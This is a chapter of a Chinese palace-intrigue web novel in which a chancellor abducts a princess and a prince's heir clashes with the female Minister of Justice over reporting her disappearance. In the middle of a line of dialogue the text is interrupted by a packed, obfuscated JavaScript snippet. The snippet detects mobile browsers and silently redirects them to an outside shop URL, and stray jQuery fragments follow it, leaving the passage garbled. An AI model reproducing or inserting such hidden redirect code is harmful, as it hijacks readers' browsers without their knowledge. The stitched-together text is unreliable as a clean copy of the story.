“确如殿下所言。”
顾云况惜字如金,但语气轻快。
孟染竹状似无意般放缓脚步,逐渐与他们二人并肩而行,甚至落后些许。
尽管夜色昏暗,阳和公主府内却烛火通明。
借着烛光,孟染竹能清晰瞧见他们正十指相扣。
可惜,有情人难成眷属。
方才听孟砚梨所言,先帝驾崩前,特意任命顾云况为辅政大臣,孟砚梨亦身负监国之责。
孟染竹不禁扯了扯唇角,他自幼便看出他那皇帝大伯心思深沉,为人做事看似温和,实则杀伐果断,不留余地。
此番托孤任命,再次证明孟染竹从未看错。
他那皇帝大伯不会不知孟砚梨与顾云况情投意合,他偏生不遂其所愿,要叫他们都身兼辅政监国之职。
但又因为他们彼此爱重,顾云况必定会对大梁鞠躬尽瘁。
还真是将可用之才,用至极致。
然而谁也没想到,从来运筹帷幄,于朝堂内外肆意搅动风云的梁文帝竟也有看走眼的时候。
不过区区三年,顾云况已然从“大梁忠臣”变为“前朝云氏太子”。
陷入如此这般境地,孟砚梨居然还想着留他性命,委实不妥。
但孟染竹却也只来得及留下一句“切莫引狼入室”,便被田恪提溜着离开长公主府。
孟砚梨原本不打算走向长街对面停靠的马车,未等她退回府中,车帘倏地被人从内掀开。
自从燕暮住到了丞相府,无论顾云况去往何处,他就像牛皮糖似的走哪儿跟哪儿,生怕他家游归磕着碰着。
他啧啧称奇地凑近孟砚梨:“梨妹妹,你竟背着我们游归招待旁的男客。”
孟砚梨抱臂避开燕暮几寸,照旧对他态度冷淡:“你家游归身为当朝丞相,连蜀王世子都认不出。该当何罪。”
蜀王世子。
燕暮在脑海中思考两秒,又忆及前面隐隐约约的确见到少年身着道袍,不禁恍然大悟:“竟是那小道士。”
孟砚梨没再搭理他,只抬眸望向燕暮身侧伫立不远的顾云况:“丞相大人夜间到访,又有何事。”
顾云况并未立刻回复她,他静默无声地看着孟砚梨,许久不曾言语。
久到孟砚梨觉得呆站得有些腿酸,才听见顾云况侧首与燕暮道:“明觉。将人带回相府。”
燕暮“啊”了一声,他来之前怎么不知道,顾云况是叫他来绑架大梁长公主殿下的?
但他还是非常迅速地抬手劈向孟砚梨后颈:“梨妹妹,多有得罪。”
孟砚梨根本来不及反应,蓦地感到眼前一黑,顺势倒在顾云况怀中。
燕暮不知顾云况想做什么,下意识提醒他道:“游归,人家前日刚刚救你一命。你不能恩将仇报啊——”
“放心。”
他不会恩将仇报。
……
“禀李大人,署衙外有贵人拜访。”
李愈音刚才下朝返回刑部署衙内坐定,便听见传令官来报。
她起身整理好官服,阔步而出,本以为会是孟砚梨寻她有事。
不曾想竟会遇见一位,道士?
更令人惊讶的是,此人生得竟与长公主殿下有几分相似。
李愈音脑中匆忙略过无数可能性,很快反应过来,主动抬袖向孟染竹行礼道:“下官见过蜀王世子殿下。”
她是顺德元年的二甲传胪,正好参与了应元十五年秋闱,直到第二年春日正式中举。
因此不曾有机会作为六部官员亲历梁文帝葬仪,所以她并未见过孟染竹,仅对其入玉龙观修行道学一事有所耳闻。
孟染竹略一惊讶,转瞬即逝。
毕竟人人都能看出他是位与长公主殿下仿若双生的道士,自然大概猜得出他是何身份。
“李大人不必多礼。”
孟染竹到达刑部之前并不清楚,刑部尚书现今竟由女子担任。
还是位如此貌美的年轻姑娘家。
他打好的腹稿一时忘了八成,支吾着向李愈音道:“本世子专程来报案。”
下一句话则是:“长公主殿下失踪了。”
李愈音不禁瞪大双眼,只听孟染竹又接着开口:“昨夜顾丞相去过长公主府后,长公主殿下再无音讯。”
顾云况?
听见“顾丞相”三字,李愈音几乎立即默认这是她不该趟的浑水。
于是拒绝得斩钉截铁:“按照大梁律法,刑部无权越级调查丞相大人。”
倘若时光回到孟砚梨中毒醒转那几日,李愈音还会为探查到顾云况与云氏来往而倍感欣慰,以为终于能将顾云况绳之以法。
那么眼下,她算是看得清楚明白:孟砚梨铁了心不愿处置顾云况。
此外,顾云况在朝中一手遮天,任何人都无法得到他与云氏来往的实质证据。
尽管江大人状告顾云况之事似是显露端倪,顾云况也许当真要背弃云氏转向大梁。
可说到底,无论云氏亦或大梁,朝堂局势始终在于顾云况一念之间。
李愈音视孟砚梨为恩人,她仕途一路顺遂,皆仰仗长公主殿下青睐,连连拔擢。
她不愿恩人腹背受敌,所以与顾云况对峙多年。
可随着年岁渐长,李愈音自己也清楚,她早已不似当年雁塔题名①时,初生牛犊不怕虎。
远在琅琊郡家中的双亲年事已高,膝下唯她一女,经不起任何波折。
她如今惟长公主殿下心愿是从,不打算再掺和任何殿下与顾云况种种琐事。
为官数年,李愈音自然不会陌生官场上那套“你推我来我推你”的打太极之语。
她只笑与孟染竹道:“依下官之见,世子殿下应当前去天牢寻找影卫队首领,帛和大人。”
孟染竹闻言,目光微顿。
面上不自觉浮现一丝讥讽:“是本世子唐突。误以为刑部当作六部、朝堂乃至整个天下的一面镜子。刑部尚书更是执法严明,公正无私之人。”
原来也不过一位权力走狗罢了。
李愈音听得出他并未宣之于口的嫌恶,藏于官服袖中双手不由紧握成拳。
“世子殿下这是说的什么话。”
为官数年,李愈音自问始终无愧于心。
她眼底同样泛起讥讽:“世子殿下从出生起,便含着金汤匙落地。”
“你的父王乃先帝幼弟,整个大梁人尽皆知,他从年少时便不受拘束,想做什么就能做什么。”
“世子殿下更是青出于蓝而胜于蓝。”
“家中亲眷即使从
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16635182|183728||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
未入过道门,也决计不会对殿下的人生选择横加阻拦。”
孟染竹张了张口,想要反驳却一时哑然。
毕竟,这位李大人还真没说错。
李愈音觉得可笑,她不过商贾出身,举全族之力都无有几人懂得读书识字妙义何在,更不理解读书何用。
在他们看来,女子读书考学,中举入仕,远比不上早早寻位夫婿,嫁做人妇更为适宜。
最好还要寻一位同样精通经商的所谓“夫婿”,继承她父亲家业。
李愈音为了不再终日与算盘货物为伴,几近与整个家族决裂。
昔年独自一人离开琅琊郡,迎着漫漫长路赶赴长安考学时,她的双亲更是顶着被阖族讨伐的压力为她筹备金银盘缠。
族人嗤之以鼻便罢。身为女子,数年来无论是在私塾读书,亦或考中科举后入朝为官,皆遭受无数白眼冷待。
“敢问世子殿下,你的诸位道门师友,有何人胆敢不要命了寻你挑衅。”
“既入道门,合该以大道之理阅众生。”
李愈音说着,早已将她与孟染竹君臣身份有别抛于脑后:“世子殿下既然不是下官,也不曾经历过下官所经历的人生。究竟哪里来的资格质疑下官选择?”
她能艰难行至如今,皆是借由双亲托举,从琅琊郡挣脱而出之后,拼尽全力所得。
“无论下官为保住这身官服做些什么,都与世子殿下无关。”
更何况:“下官乃家中独女,双亲年事已高。下官即使不为乌纱帽,也该留下一条性命,莫要引得上位者震怒,祸及旁人。”
“放眼朝野内外,谁人看不出丞相大人与长公主殿下情投意合。”
至于世子殿下:“您逍遥世外,高枕无忧。”
“下官一介臣子,凭何管得了诸位贵人?”
孟染竹被李愈音劈头盖脸训斥得半晌没了声响。
他认真反思片刻,发现这位李大人虽说听上去音量大了些,很多话倒也有几分道理。
身为蜀王世子,不识人间疾苦无错。
但不该肆意对旁人横加指责。
李愈音官至刑部尚书,履行其内职责,并未贪赃枉法,欺压百姓。
绝对是位好官。
她与孟砚梨交好,既可视作同为女子,相互理解。同时也不可忽视君臣有别,身份地位差异难免。
孟染竹自己都不方便轻易插手孟砚梨的私事,又怎能借由刑部越俎代庖。
更何况刑部隶属中枢堂管辖,顾云况则是中枢堂最高长官。
李愈音无权僭越。
说来也怪他早起无事,前往长公主府寻人未果。一时情急直冲刑部,才导致这番冲突。
孟染竹此刻连双手都不知该往哪儿放,只抵唇清了清嗓子,眼神飘忽:“贫道,言辞有失。正式向李大人致歉。还望您大人有大量,莫要同贫道计较。”
他刻意不再称“本世子”,弱化他们之间身份差别,李愈音并非听不明白。
只是她尚在气头上,不太情愿搭理他。
但李愈音终究还是挂心孟砚梨。
思来想去,神色也跟着软和许多,进而妥协道:“也罢。下官叮嘱一声,由其余官员暂时驻守刑部。下官同殿下一道前往天牢,去寻帛和首领。”